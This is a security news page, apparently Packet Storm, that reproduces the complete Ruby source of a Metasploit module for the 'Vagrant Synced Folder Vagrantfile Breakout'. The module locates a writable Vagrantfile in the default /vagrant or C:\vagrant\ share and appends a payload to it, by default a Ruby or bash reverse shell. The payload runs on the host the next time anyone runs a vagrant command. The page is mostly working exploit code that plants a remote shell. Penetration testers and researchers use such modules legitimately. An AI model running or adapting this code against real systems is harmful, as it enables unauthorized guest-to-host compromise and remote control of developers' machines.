Security
Headlines
HeadlinesLatestCVEs

Headline

Vagrant Synced Folder Vagrantfile Breakout

This Metasploit module exploits a default Vagrant synced folder (shared folder) to append a Ruby payload to the Vagrant project Vagrantfile config file. By default, unless a Vagrant project explicitly disables shared folders, Vagrant mounts the project directory on the host as a writable vagrant directory on the guest virtual machine. This directory includes the project Vagrantfile configuration file. Ruby code within the Vagrantfile is loaded and executed when a user runs any vagrant command from the project directory on the host, leading to execution of Ruby code on the host.

Packet Storm
#mac#windows#git#auth#ruby
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Local  Rank = ExcellentRanking  include Msf::Post::File  prepend Msf::Exploit::Remote::AutoCheck  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Vagrant Synced Folder Vagrantfile Breakout',        'Description' => %q{          This module exploits a default Vagrant synced folder (shared folder)          to append a Ruby payload to the Vagrant project Vagrantfile config file.          By default, unless a Vagrant project explicitly disables shared folders,          Vagrant mounts the project directory on the host as a writable 'vagrant'          directory on the guest virtual machine. This directory includes the          project Vagrantfile configuration file.          Ruby code within the Vagrantfile is loaded and executed when a user          runs any vagrant command from the project directory on the host,          leading to execution of Ruby code on the host.        },        'License' => MSF_LICENSE,        'Author' => [          'HashiCorp', # Vagrant defaults          'bcoles' # Metasploit        ],        'DisclosureDate' => '2011-01-19', # Vagrant 0.7.0 release date - first mention of shared folders in CHANGELOG        'Platform' => %w[ruby],        'Arch' => ARCH_ALL,        'SessionTypes' => [ 'shell', 'powershell', 'meterpreter' ],        'Stance' => Msf::Exploit::Stance::Passive,        'DefaultOptions' => {          'DisablePayloadHandler' => true        },        'Targets' => [          [            'Ruby Code',            {              'Platform' => 'ruby',              'Arch' => ARCH_RUBY,              'Type' => :ruby,              'DefaultOptions' => {                'PAYLOAD' => 'ruby/shell_reverse_tcp'              }            }          ],          [            'Unix Command',            {              'Platform' => 'unix',              'Arch' => ARCH_CMD,              'Type' => :unix_cmd,              'Payload' => { 'BadChars' => '`' },              'DefaultOptions' => {                'PAYLOAD' => 'cmd/unix/reverse_bash'              }            }          ]        ],        'DefaultTarget' => 0,        'References' => [          ['URL', 'https://www.vagrantup.com/docs/synced-folders'],          ['URL', 'https://www.virtualbox.org/manual/ch04.html#sharedfolders']        ],        'Notes' => {          'Reliability' => [ REPEATABLE_SESSION ],          'Stability' => [ CRASH_SAFE ],          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, CONFIG_CHANGES ]        }      )    )    register_options([      OptString.new('VAGRANTFILE_PATH', [false, 'Path to Vagrantfile (leave blank to auto detect)', ''])    ])  end  # Search potential default shared directories for Vagrantfile configuration file  def find_vagrantfile_path    unless datastore['VAGRANTFILE_PATH'].blank?      return exists?(datastore['VAGRANTFILE_PATH']) ? datastore['VAGRANTFILE_PATH'] : nil    end    # Default Vagrant synced folders (aka shared folders)    default_shared_directories = [      'C:\\vagrant\\',      '/vagrant/'    ]    default_shared_directories.each do |dir_path|      begin        vagrant_shared_dir_contents = dir(dir_path)      rescue Rex::Post::Meterpreter::RequestError        next      end      next if vagrant_shared_dir_contents.empty?      # Vagrant project configuration file name is case-insensitive (typically "Vagrantfile")      vagrant_shared_dir_contents.each do |fname|        return "#{dir_path}#{fname}" if fname.downcase == 'vagrantfile'      end    end    nil  end  def vagrantfile    @vagrantfile ||= find_vagrantfile_path  end  def check    return CheckCode::Safe('Vagrantfile not found.') unless vagrantfile    # `writable?' method does not support Windows systems    begin      return CheckCode::Detected("#{vagrantfile} is not writable.") unless writable?(vagrantfile)    rescue RuntimeError      return CheckCode::Detected("Could not verify if #{vagrantfile} is writable.")    end    CheckCode::Appears("#{vagrantfile} is writable!")  end  def exploit    fail_with(Failure::NotVulnerable, 'Could not find Vagrantfile') unless vagrantfile    case target['Type']    when :ruby      data = payload.encoded    when :unix_cmd      data = "`#{payload.encoded}`"    else      fail_with(Failure::NoTarget, 'No target selected')    end    print_status("Appending payload (#{data.length} bytes) to #{vagrantfile} ...")    unless append_file(vagrantfile, "\n#{data}\n")      fail_with(Failure::Unknown, "Could not write to #{vagrantfile}")    end    print_status("Payload appended to #{vagrantfile}")    print_status('The payload will be executed when a user runs any vagrant command from within the project directory on the host system.')    print_warning("This module requires manual removal of the payload from the project Vagrantfile: #{vagrantfile}")  endend

Packet Storm: Latest News

Gentoo Linux Security Advisory 202411-05